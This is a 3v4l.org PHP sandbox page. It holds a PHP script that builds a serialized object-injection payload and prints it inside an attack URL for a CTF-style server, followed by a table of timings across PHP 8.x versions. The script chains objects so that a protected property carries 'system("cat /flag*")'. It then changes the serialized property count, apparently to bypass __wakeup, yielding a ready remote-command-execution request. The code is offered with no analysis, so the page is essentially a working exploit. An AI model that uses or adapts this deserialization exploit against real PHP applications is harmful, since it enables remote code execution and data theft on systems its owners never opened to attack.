3v4l.org

run code in 500+ PHP versions simultaneously
http://home.edu.ltsec.com:51281/<?php class Water{public $waterfall;} class Circle{ public $daemon; protected $dash; public function setDash($v){$this->dash=$v;} } class Range{public $horis;public $link;} class Sliver{public $secret;public $resty;} $circle=new Circle();$circle->setDash('system("cat /flag*");'); $water=new Water();$water->waterfall=$circle; $range=new Range();$range->link=$water; $sliver=new Sliver();$sliver->secret=$range; $payload=serialize($sliver); $payload=str_replace('O:6:"Sliver":2:','O:6:"Sliver":1:',$payload); echo "http://home.edu.ltsec.com:51281/?data=".urlencode($payload); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.60.0070.00616.70
8.5.50.0090.00918.46
8.5.30.0040.01516.90
8.5.20.0120.00716.90
8.5.10.0100.00816.90
8.5.00.0080.01016.90
8.4.180.0130.01019.77
8.4.170.0150.00619.74
8.4.160.0150.00819.74
8.4.150.0110.00819.74
8.4.140.0050.01017.66
8.4.130.0030.00617.71
8.4.120.0050.00317.90
8.4.110.0130.00717.83
8.4.100.0110.00517.91
8.4.90.0090.01017.82
8.4.80.0130.00617.88
8.4.70.0100.01017.94
8.4.60.0050.01417.83
8.4.50.0150.00617.86
8.4.40.0110.00517.80
8.4.30.0080.01417.59
8.4.20.0100.00917.75
8.4.10.0120.00817.77
8.3.300.0120.00618.57
8.3.290.0080.01018.49
8.3.280.0070.00818.57
8.3.270.0030.00416.90
8.3.260.0060.00216.90
8.3.250.0030.00516.90
8.3.240.0060.00216.90
8.3.230.0040.00416.90
8.3.220.0040.00416.90
8.3.210.0040.00416.90
8.3.200.0070.00116.90
8.3.190.0040.00316.90
8.3.180.0030.00516.90
8.3.170.0020.00616.90
8.3.160.0050.00316.92
8.3.150.0040.00416.90
8.3.140.0060.00216.92
8.3.130.0050.00316.92
8.3.120.0100.00816.90
8.3.110.0120.00816.90
8.3.100.0100.01016.90
8.3.90.0100.00716.90
8.3.80.0140.00716.90
8.3.70.0060.00316.90
8.3.60.0050.00416.90
8.3.50.0050.00316.90
8.3.40.0090.00918.04
8.3.30.0060.00317.97
8.3.20.0030.00518.00
8.3.10.0070.00118.03
8.3.00.0070.00118.04

preferences:
49.9 ms | 733 KiB | 5 Q